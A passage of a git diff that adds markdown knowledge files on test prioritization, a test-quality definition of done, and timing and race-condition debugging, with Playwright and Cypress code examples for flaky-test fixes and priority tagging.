+// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
+```
+
+### Example: Test Suite Tagging Strategy
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+// Tag tests with priority for selective execution
+test.describe('Checkout Flow', () => {
+  test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
+    // P0: Revenue-critical happy path
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Order confirmed')).toBeVisible();
+  });
+
+  test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
+    // P1: Core error scenario (frequent user impact)
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
+  });
+
+  test('coupon code applies discount correctly @p2', async ({ page }) => {
+    // P2: Secondary feature (nice-to-have)
+    await page.goto('/checkout');
+    await page.getByTestId('coupon-code').fill('SAVE10');
+    await page.getByRole('button', { name: 'Apply' }).click();
+
+    await expect(page.getByText('10% discount applied')).toBeVisible();
+  });
+
+  test('gift message formatting preserved @p3', async ({ page }) => {
+    // P3: Cosmetic feature (rarely used)
+    await page.goto('/checkout');
+    await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Message formatting preserved (linebreaks intact)
+    await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
+  });
+});
+```
+
+**Run tests by priority:**
+
+```bash
+# P0 only (smoke tests, 2-5 min)
+npx playwright test --grep @p0
+
+# P0 + P1 (core functionality, 10-15 min)
+npx playwright test --grep "@p0|@p1"
+
+# Full regression (all priorities, 30+ min)
+npx playwright test
+```
+
+---
+
+## Integration with Risk Scoring
+
+Priority should align with risk score from `probability-impact.md`:
+
+| Risk Score | Typical Priority | Rationale                                  |
+| ---------- | ---------------- | ------------------------------------------ |
+| 9          | P0               | Critical blocker (probability=3, impact=3) |
+| 6-8        | P0 or P1         | High risk (requires mitigation)            |
+| 4-5        | P1 or P2         | Medium risk (monitor closely)              |
+| 1-3        | P2 or P3         | Low risk (document and defer)              |
+
+**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
+
+---
+
+## Priority Checklist
+
+Before finalizing test priorities:
+
+- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
+- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
+- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
+- [ ] **User impact quantified**: >50% users → P0/P1, <10% → P2/P3
+- [ ] **Previous failures reviewed**: Regression prevention → increase priority
+- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
+- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
+- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
+- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
+- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
+- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
+- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
+
+_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-quality.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-quality.md
new file mode 100644
index 0000000..ab62d91
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-quality.md
@@ -0,0 +1,664 @@
+# Test Quality Definition of Done
+
+## Principle
+
+Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
+
+## Rationale
+
+Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
+
+## Pattern Examples
+
+### Example 1: Deterministic Test Pattern
+
+**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Non-deterministic test with conditionals and hard waits
+test('user can view dashboard - FLAKY', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // NEVER - arbitrary wait
+
+  // Conditional flow control - test behavior varies
+  if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
+    await page.click('[data-testid="dismiss-banner"]');
+    await page.waitForTimeout(500);
+  }
+
+  // Try-catch for flow control - hides real issues
+  try {
+    await page.click('[data-testid="load-more"]');
+  } catch (e) {
+    // Silently continue - test passes even if button missing
+  }
+
+  // Random data without control
+  const randomEmail = `user${Math.random()}@example.com`;
+  await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
+});
+
+// ✅ GOOD: Deterministic test with explicit waits
+test('user can view dashboard', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+  // Setup via API (fast, controlled)
+  await apiRequest.post('/api/users', { data: user });
+
+  // Network-first: Intercept BEFORE navigate
+  const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+
+  // Wait for actual response, not arbitrary time
+  const dashboardResponse = await dashboardPromise;
+  const dashboard = await dashboardResponse.json();
+
+  // Explicit assertions with controlled data
+  await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+  await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
+
+  // No conditionals - test always executes same path
+  // No try-catch - failures bubble up clearly
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display user dashboard', () => {
+    const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+    // Setup via task (fast, controlled)
+    cy.task('db:seed', { users: [user] });
+
+    // Network-first interception
+    cy.intercept('GET', '**/api/dashboard').as('getDashboard');
+
+    cy.visit('/dashboard');
+
+    // Deterministic wait for response
+    cy.wait('@getDashboard').then((interception) => {
+      const dashboard = interception.response.body;
+
+      // Explicit assertions
+      cy.contains(`Welcome, ${user.name}`).should('be.visible');
+      cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
+- Never use if/else to control test flow - tests should be deterministic
+- Avoid try-catch for flow control - let failures bubble up clearly
+- Use factory functions with controlled data, not `Math.random()`
+- Network-first pattern prevents race conditions
+
+### Example 2: Isolated Test with Cleanup
+
+**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Test leaves data behind, pollutes other tests
+test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
+  await page.goto('/admin/users');
+
+  // Hardcoded email - collides in parallel runs
+  await page.fill('[data-testid="email"]', 'newuser@example.com');
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // NO CLEANUP - user remains in database
+  // Next test run fails: "Email already exists"
+});
+
+// ✅ GOOD: Test cleans up with fixture auto-cleanup
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id); // Track for cleanup
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+});
+
+// Use the fixture
+test('admin can create user', async ({ page, seedUser }) => {
+  // Create admin with unique data
+  const admin = await seedUser({
+    email: faker.internet.email(), // Unique each run
+    role: 'admin',
+  });
+
+  await page.goto('/admin/users');
+
+  const newUserEmail = faker.internet.email(); // Unique
+  await page.fill('[data-testid="email"]', newUserEmail);
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // Verify in database
+  const createdUser = await seedUser({ email: newUserEmail });
+  expect(createdUser.email).toBe(newUserEmail);
+
+  // Auto-cleanup happens via fixture teardown
+});
+
+// Cypress equivalent with explicit cleanup
+describe('Admin User Management', () => {
+  const createdUserIds: string[] = [];
+
+  afterEach(() => {
+    // Cleanup: Delete all users created during test
+    createdUserIds.forEach((userId) => {
+      cy.task('db:delete', { table: 'users', id: userId });
+    });
+    createdUserIds.length = 0;
+  });
+
+  it('should create user', () => {
+    const admin = createUser({ role: 'admin' });
+    const newUser = createUser(); // Unique data via faker
+
+    cy.task('db:seed', { users: [admin] }).then((result: any) => {
+      createdUserIds.push(result.users[0].id);
+    });
+
+    cy.visit('/admin/users');
+    cy.get('[data-cy="email"]').type(newUser.email);
+    cy.get('[data-cy="name"]').type(newUser.name);
+    cy.get('[data-cy="create-user"]').click();
+
+    cy.contains('User created').should('be.visible');
+
+    // Track for cleanup
+    cy.task('db:findByEmail', newUser.email).then((user: any) => {
+      createdUserIds.push(user.id);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Use fixtures with auto-cleanup via teardown (after `use()`)
+- Track all created resources in array during test execution
+- Use `faker` for unique data - prevents parallel collisions
+- Cypress: Use `afterEach()` with explicit cleanup
+- Never hardcode IDs or emails - always generate unique values
+
+### Example 3: Explicit Assertions in Tests
+
+**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Assertions hidden in helper functions
+// helpers/api-validators.ts
+export async function validateUserCreation(response: Response, expectedEmail: string) {
+  const user = await response.json();
+  expect(response.status()).toBe(201);
+  expect(user.email).toBe(expectedEmail);
+  expect(user.id).toBeTruthy();
+  expect(user.createdAt).toBeTruthy();
+  // Hidden assertions - not visible in test
+}
+
+test('create user via API - OPAQUE', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // What assertions are running? Have to check helper.
+  await validateUserCreation(response, userData.email);
+  // When this fails, error is: "validateUserCreation failed" - NOT helpful
+});
+
+// ✅ GOOD: Assertions explicit in test
+test('create user via API', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // All assertions visible - clear test intent
+  expect(response.status()).toBe(201);
+
+  const createdUser = await response.json();
+  expect(createdUser.id).toBeTruthy();
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.name).toBe(userData.name);
+  expect(createdUser.role).toBe('user');
+  expect(createdUser.createdAt).toBeTruthy();
+  expect(createdUser.isActive).toBe(true);
+
+  // When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
+});
+
+// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
+// helpers/api-extractors.ts
+export async function extractUserFromResponse(response: Response): Promise<User> {
+  const user = await response.json();
+  return user; // Just extracts, no assertions
+}
+
+test('create user with extraction helper', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // Extract data with helper (OK)
+  const createdUser = await extractUserFromResponse(response);
+
+  // But keep assertions in test (REQUIRED)
+  expect(response.status()).toBe(201);
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.role).toBe('user');
+});
+
+// Cypress equivalent
+describe('User API', () => {
+  it('should create user with explicit assertions', () => {
+    const userData = createUser({ email: 'test@example.com' });
+
+    cy.request('POST', '/api/users', userData).then((response) => {
+      // All assertions visible in test
+      expect(response.status).to.equal(201);
+      expect(response.body.id).to.exist;
+      expect(response.body.email).to.equal(userData.email);
+      expect(response.body.name).to.equal(userData.name);
+      expect(response.body.role).to.equal('user');
+      expect(response.body.createdAt).to.exist;
+      expect(response.body.isActive).to.be.true;
+    });
+  });
+});
+
+// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
+test.describe('User creation validation', () => {
+  const testCases = [
+    { field: 'email', value: 'test@example.com', expected: 'test@example.com' },
+    { field: 'name', value: 'Test User', expected: 'Test User' },
+    { field: 'role', value: 'admin', expected: 'admin' },
+    { field: 'isActive', value: true, expected: true },
+  ];
+
+  for (const { field, value, expected } of testCases) {
+    test(`should set ${field} correctly`, async ({ request }) => {
+      const userData = createUser({ [field]: value });
+
+      const response = await request.post('/api/users', { data: userData });
+      const user = await response.json();
+
+      // Parametrized assertion - still explicit
+      expect(user[field]).toBe(expected);
+    });
+  }
+});
+```
+
+**Key Points**:
+
+- Never hide `expect()` calls in helper functions
+- Helpers can extract/transform data, but assertions stay in tests
+- Parametrized tests are acceptable for bulk validation (still explicit)
+- Explicit assertions make failures actionable: "Expected X, got Y"
+- Hidden assertions produce vague failures: "Helper function failed"
+
+### Example 4: Test Length Limits
+
+**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 400-line monolithic test (truncated for example)
+test('complete user journey - TOO LONG', async ({ page, request }) => {
+  // 50 lines of setup
+  const admin = createUser({ role: 'admin' });
+  await request.post('/api/users', { data: admin });
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+  await expect(page).toHaveURL('/dashboard');
+
+  // 100 lines of user creation
+  await page.goto('/admin/users');
+  const newUser = createUser();
+  await page.fill('[data-testid="email"]', newUser.email);
+  // ... 95 more lines of form filling, validation, etc.
+
+  // 100 lines of permissions assignment
+  await page.click('[data-testid="assign-permissions"]');
+  // ... 95 more lines
+
+  // 100 lines of notification preferences
+  await page.click('[data-testid="notification-settings"]');
+  // ... 95 more lines
+
+  // 50 lines of cleanup
+  await request.delete(`/api/users/${newUser.id}`);
+  // ... 45 more lines
+
+  // TOTAL: 400 lines - impossible to understand or debug
+});
+
+// ✅ GOOD: Split into focused tests with shared fixture
+// playwright/support/fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page, request }, use) => {
+    // Shared setup: Login as admin
+    const admin = createUser({ role: 'admin' });
+    await request.post('/api/users', { data: admin });
+
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', admin.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login"]');
+    await expect(page).toHaveURL('/dashboard');
+
+    await use(page); // Provide logged-in page
+
+    // Cleanup handled by fixture
+  },
+});
+
+// Test 1: User creation (50 lines)
+test('admin can create user', async ({ adminPage, seedUser }) => {
+  await adminPage.goto('/admin/users');
+
+  const newUser = createUser();
+  await adminPage.fill('[data-testid="email"]', newUser.email);
+  await adminPage.fill('[data-testid="name"]', newUser.name);
+  await adminPage.click('[data-testid="role-dropdown"]');
+  await adminPage.click('[data-testid="role-user"]');
+  await adminPage.click('[data-testid="create-user"]');
+
+  await expect(adminPage.getByText('User created')).toBeVisible();
+  await expect(adminPage.getByText(newUser.email)).toBeVisible();
+
+  // Verify in database
+  const created = await seedUser({ email: newUser.email });
+  expect(created.role).toBe('user');
+});
+
+// Test 2: Permission assignment (60 lines)
+test('admin can assign permissions', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}`);
+  await adminPage.click('[data-testid="assign-permissions"]');
+  await adminPage.check('[data-testid="permission-read"]');
+  await adminPage.check('[data-testid="permission-write"]');
+  await adminPage.click('[data-testid="save-permissions"]');
+
+  await expect(adminPage.getByText('Permissions updated')).toBeVisible();
+
+  // Verify permissions assigned
+  const response = await adminPage.request.get(`/api/users/${user.id}`);
+  const updated = await response.json();
+  expect(updated.permissions).toContain('read');
+  expect(updated.permissions).toContain('write');
+});
+
+// Test 3: Notification preferences (70 lines)
+test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}/notifications`);
+  await adminPage.check('[data-testid="email-notifications"]');
+  await adminPage.uncheck('[data-testid="sms-notifications"]');
+  await adminPage.selectOption('[data-testid="frequency"]', 'daily');
+  await adminPage.click('[data-testid="save-preferences"]');
+
+  await expect(adminPage.getByText('Preferences saved')).toBeVisible();
+
+  // Verify preferences
+  const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
+  const prefs = await response.json();
+  expect(prefs.emailEnabled).toBe(true);
+  expect(prefs.smsEnabled).toBe(false);
+  expect(prefs.frequency).toBe('daily');
+});
+
+// TOTAL: 3 tests × 60 lines avg = 180 lines
+// Each test is focused, debuggable, and under 300 lines
+```
+
+**Key Points**:
+
+- Split monolithic tests into focused scenarios (<300 lines each)
+- Extract common setup into fixtures (auto-runs for each test)
+- Each test validates one concern (user creation, permissions, preferences)
+- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
+- Tests can run in parallel (isolated concerns)
+
+### Example 5: Execution Time Optimization
+
+**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 4-minute test (slow setup, sequential operations)
+test('user completes order - SLOW (4 min)', async ({ page }) => {
+  // Step 1: Manual signup via UI (90 seconds)
+  await page.goto('/signup');
+  await page.fill('[data-testid="email"]', 'buyer@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.fill('[data-testid="confirm-password"]', 'password123');
+  await page.fill('[data-testid="name"]', 'Buyer User');
+  await page.click('[data-testid="signup"]');
+  await page.waitForURL('/verify-email'); // Wait for email verification
+  // ... manual email verification flow
+
+  // Step 2: Manual product creation via UI (60 seconds)
+  await page.goto('/admin/products');
+  await page.fill('[data-testid="product-name"]', 'Widget');
+  // ... 20 more fields
+  await page.click('[data-testid="create-product"]');
+
+  // Step 3: Navigate to checkout (30 seconds)
+  await page.goto('/products');
+  await page.waitForTimeout(5000); // Unnecessary hard wait
+  await page.click('[data-testid="product-widget"]');
+  await page.waitForTimeout(3000); // Unnecessary
+  await page.click('[data-testid="add-to-cart"]');
+  await page.waitForTimeout(2000); // Unnecessary
+
+  // Step 4: Complete checkout (40 seconds)
+  await page.goto('/checkout');
+  await page.waitForTimeout(5000); // Unnecessary
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  // ... more form filling
+  await page.click('[data-testid="submit-order"]');
+  await page.waitForTimeout(10000); // Unnecessary
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // TOTAL: ~240 seconds (4 minutes)
+});
+
+// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
+test('user completes order', async ({ page, apiRequest }) => {
+  // Step 1: API setup (parallel, 5 seconds total)
+  const [user, product] = await Promise.all([
+    // Create user via API (fast)
+    apiRequest
+      .post('/api/users', {
+        data: createUser({
+          email: 'buyer@example.com',
+          emailVerified: true, // Skip verification
+        }),
+      })
+      .then((r) => r.json()),
+
+    // Create product via API (fast)
+    apiRequest
+      .post('/api/products', {
+        data: createProduct({
+          name: 'Widget',
+          price: 29.99,
+          stock: 10,
+        }),
+      })
+      .then((r) => r.json()),
+  ]);
+
+  // Step 2: Auth setup via storage state (instant, 0 seconds)
+  await page.context().addCookies([
+    {
+      name: 'auth_token',
+      value: user.token,
+      domain: 'localhost',
+      path: '/',
+    },
+  ]);
+
+  // Step 3: Network-first interception BEFORE navigation (10 seconds)
+  const cartPromise = page.waitForResponse('**/api/cart');
+  const orderPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto(`/products/${product.id}`);
+  await page.click('[data-testid="add-to-cart"]');
+  await cartPromise; // Deterministic wait (no hard wait)
+
+  // Step 4: Checkout with network waits (30 seconds)
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.fill('[data-testid="cvv"]', '123');
+  await page.fill('[data-testid="expiry"]', '12/25');
+  await page.click('[data-testid="submit-order"]');
+  await orderPromise; // Deterministic wait (no hard wait)
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
+
+  // TOTAL: ~45 seconds (6x faster)
+});
+
+// Cypress equivalent
+describe('Order Flow', () => {
+  it('should complete purchase quickly', () => {
+    // Step 1: API setup (parallel, fast)
+    const user = createUser({ emailVerified: true });
+    const product = createProduct({ name: 'Widget', price: 29.99 });
+
+    cy.task('db:seed', { users: [user], products: [product] });
+
+    // Step 2: Auth setup via session (instant)
+    cy.setCookie('auth_token', user.token);
+
+    // Step 3: Network-first interception
+    cy.intercept('POST', '**/api/cart').as('addToCart');
+    cy.intercept('POST', '**/api/orders').as('createOrder');
+
+    cy.visit(`/products/${product.id}`);
+    cy.get('[data-cy="add-to-cart"]').click();
+    cy.wait('@addToCart'); // Deterministic wait
+
+    // Step 4: Checkout
+    cy.visit('/checkout');
+    cy.get('[data-cy="credit-card"]').type('4111111111111111');
+    cy.get('[data-cy="cvv"]').type('123');
+    cy.get('[data-cy="expiry"]').type('12/25');
+    cy.get('[data-cy="submit-order"]').click();
+    cy.wait('@createOrder'); // Deterministic wait
+
+    cy.contains('Order Confirmed').should('be.visible');
+    cy.contains(`Order #${product.id}`).should('be.visible');
+  });
+});
+
+// Additional optimization: Shared auth state (0 seconds per test)
+// playwright/support/global-setup.ts
+export default async function globalSetup() {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Create admin user once for all tests
+  const admin = createUser({ role: 'admin', emailVerified: true });
+  await page.request.post('/api/users', { data: admin });
+
+  // Login once, save session
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+
+  // Save auth state for reuse
+  await page.context().storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+// Use shared auth in tests (instant)
+test.use({ storageState: 'playwright/.auth/admin.json' });
+
+test('admin action', async ({ page }) => {
+  // Already logged in - no auth overhead (0 seconds)
+  await page.goto('/admin');
+  // ... test logic
+});
+```
+
+**Key Points**:
+
+- Use API for data setup (10-50x faster than UI)
+- Run independent operations in parallel (`Promise.all`)
+- Replace hard waits with deterministic waits (`waitForResponse`)
+- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
+- Skip unnecessary flows (email verification, multi-step signups)
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
+- **Related fragments**:
+  - `network-first.md` - Deterministic waiting strategies
+  - `data-factories.md` - Isolated, parallel-safe data patterns
+  - `fixture-architecture.md` - Setup extraction and cleanup
+  - `test-levels-framework.md` - Choosing appropriate test granularity for speed
+
+## Core Quality Checklist
+
+Every test must pass these criteria:
+
+- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
+- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
+- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
+- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
+- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
+- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
+- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
+- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
+
+_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/timing-debugging.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/timing-debugging.md
new file mode 100644
index 0000000..61ae919
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/timing-debugging.md
@@ -0,0 +1,372 @@
+# Timing Debugging and Race Condition Fixes
+
+## Principle
+
+Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
+
+## Rationale
+
+**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
+
+**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
+
+**Why This Matters**:
+
+- Eliminates flaky tests (0 tolerance for timing-based failures)
+- Works consistently across environments (local, CI, production-like)
+- Faster test execution (no unnecessary waits)
+- Clearer test intent (explicit about what we're waiting for)
+
+## Pattern Examples
+
+### Example 1: Race Condition Identification (Network-First Pattern)
+
+**Context**: Prevent race conditions by intercepting network requests before navigation
+
+**Implementation**:
+
+```typescript
+// tests/timing/race-condition-prevention.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Race Condition Prevention Patterns', () => {
+  test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
+    // BAD: Navigation starts before interception ready
+    await page.goto('/products'); // ⚠️ Race! API might load before route is set
+
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
+    });
+
+    // Test may see real API response or mock (non-deterministic)
+  });
+
+  test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
+    // GOOD: Interception ready before navigation
+    await context.route('**/api/products', (route) => {
+      route.fulfill({
+        status: 200,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          products: [
+            { id: 1, name: 'Product A', price: 29.99 },
+            { id: 2, name: 'Product B', price: 49.99 },
+          ],
+        }),
+      });
+    });
+
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products'); // Navigation happens AFTER route is ready
+    await responsePromise; // Explicit wait for network
+
+    // Test sees mock response reliably (deterministic)
+    await expect(page.getByText('Product A')).toBeVisible();
+  });
+
+  test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for loading indicator to appear (confirms load started)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
+
+    // Wait for loading indicator to disappear (confirms load complete)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+    // Content now reliably visible
+    await expect(page.getByTestId('dashboard-data')).toBeVisible();
+  });
+
+  test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
+    await page.goto('/modal-demo');
+
+    await page.getByRole('button', { name: 'Open Modal' }).click();
+
+    // ❌ Bad: Element exists but may not be visible yet
+    // await expect(page.getByTestId('modal')).toBeAttached()
+
+    // ✅ Good: Wait for visibility (accounts for animations)
+    await expect(page.getByTestId('modal')).toBeVisible();
+    await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
+  });
+
+  test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ⚠️ Deprecated for SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // May timeout in SPAs
+
+    // ✅ Better: Wait for specific API response
+    const responsePromise = page.waitForResponse('**/api/dashboard');
+    await page.goto('/dashboard');
+    await responsePromise;
+
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Network-first: ALWAYS intercept before navigate (prevents race conditions)
+- State changes: Wait for loading spinner detached (explicit load completion)
+- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
+- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
+- Explicit waits: Document exactly what we're waiting for
+
+---
+
+### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
+
+**Context**: Replace all hard waits with observable event waits
+
+**Implementation**:
+
+```typescript
+// tests/timing/deterministic-waits.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Deterministic Waiting Patterns', () => {
+  test('waitForResponse() with URL pattern', async ({ page }) => {
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products');
+    await responsePromise; // Deterministic (waits for exact API call)
+
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+
+  test('waitForResponse() with predicate function', async ({ page }) => {
+    const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
+
+    await page.goto('/search');
+    await page.getByPlaceholder('Search').fill('laptop');
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    await responsePromise; // Wait for successful search response
+
